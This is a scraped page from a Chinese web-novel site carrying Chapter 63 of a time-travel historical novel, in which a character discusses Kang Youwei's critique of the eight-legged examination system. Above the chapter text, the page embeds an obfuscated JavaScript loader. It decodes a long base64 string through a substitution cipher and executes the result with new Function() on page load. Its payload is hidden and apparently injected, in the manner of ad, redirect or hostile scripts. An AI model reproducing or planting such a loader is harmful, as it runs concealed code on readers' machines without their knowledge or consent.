当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第63章 选拔官员的权力(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

【书可能凉了,发站短告诉我,与一本书有内容上的少量相似,但用查重软件查了之后,又发现没有!】

【找了客服,又不给标注,只是告诉你有相似之处,让你自己去比对。】

【明天最后提交一次复审,如果没过的话,书应该会直接被下架了。】

现代时空。

“不止康有为,梁启超曾经也批评过八股取士,但他批评的,依然是清朝时期的八股取士,并不是明朝还有之前的八股!”

“其实只要仔细的一看,就知道他们两人真正批评的是什么!”

“他们批评的是清朝那种只能看“八股”,学“八股”,写“八股”的规矩!”

李恩凡这时候开口,接下冯建的话茬,慢慢给众人继续说道:

“康有为在给光绪帝的奏折中,具体剖析了八股试士取士的严重弊端和危害。”

“一:致举国士子于呆钻经书、无视学以致用的死胡同。”

“他说:“盖以功令所垂,解义只尊朱子”,“故令诸生荒弃群经,惟读《四书》,谢绝学问,惟事八股。”

“于是二千年之文学扫地不用,束阅不读矣。”

“明朝禁止士人读其他书了吗?并没有!不然的话为何最后还把纵横之文引入了进去?”

“不轨于义理,不轨于义理。这五个字,是非常能说明问题的!”

“要知道,在科举考试,这个儒家已经垄断的考试中,不轨于义理,是何等夸张的一件事!”

随后,李恩凡伸出手指,比了两个手指头:

“二:是造成为官者厚古薄今、愚昧昏庸。”

“他说,凡中举之人只要“八股精通,楷法圆美,即可为巍科进士,翰苑清才,而竟不知司马迁、范仲淹为何代人,汉祖、唐宗为何朝帝者。”

“若问以亚、非之舆地,欧美之政学,张口瞪目,不知何语矣。”

“这句话的意思就是,问许多的士人,司马迁是谁?他们竟然不知道!范仲淹是谁?他们也不知道!”

“汉祖和唐宗,他们全都不知道!”

“明朝会出现这种情况吗?永乐七下西洋已经说明解答了!”

众人目光灼灼的看着李恩凡,等待着继续说下去。而李恩凡又伸出了三根手指头:

“三:是将参加县试落榜的读书人置于“无才无用、盲聋老死”的之地。”

“他说:“童生者,士之初基”,而按当时全国童生能录取为生员即秀才者百中仅一,假三十年之通,即有三百万童生考而不中。”

“假以从事科学,讲求政艺,则三百万之人才,足以当荷兰、瑞典、丹麦、瑞士之民数矣,以为国用,何求不得,何事不成!”

“这个问题,他其实是直指的科举核心!考不上科举的人,他们怎么办?”

“并不是明清才有这种情况!唐宋,其实都有这种情况!”

“他把科举考试直接比作白起之坑长平赵卒四十万尚十倍之。”

李恩凡轻轻摇了摇头,叹了一口气,看着众人轻声说道:

“这最后,其实他有些想当然了,认为没有考上科举的三百万童生,全部去从事科学,那国家一定会强大的!”

“但真的有可能么?”

“这就像网上有人说的,芯片为什么还搞不出来?每年全国毕业七八百万大学生,这么多的大学生,全部拿去搞芯片,还搞不出来么?”

摇了摇头,李恩凡没再接着这个问题继续说下去,而是说到了第四个问题:

“而到了第四个问题,我觉得这才是他说的最有理的一个问题。”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间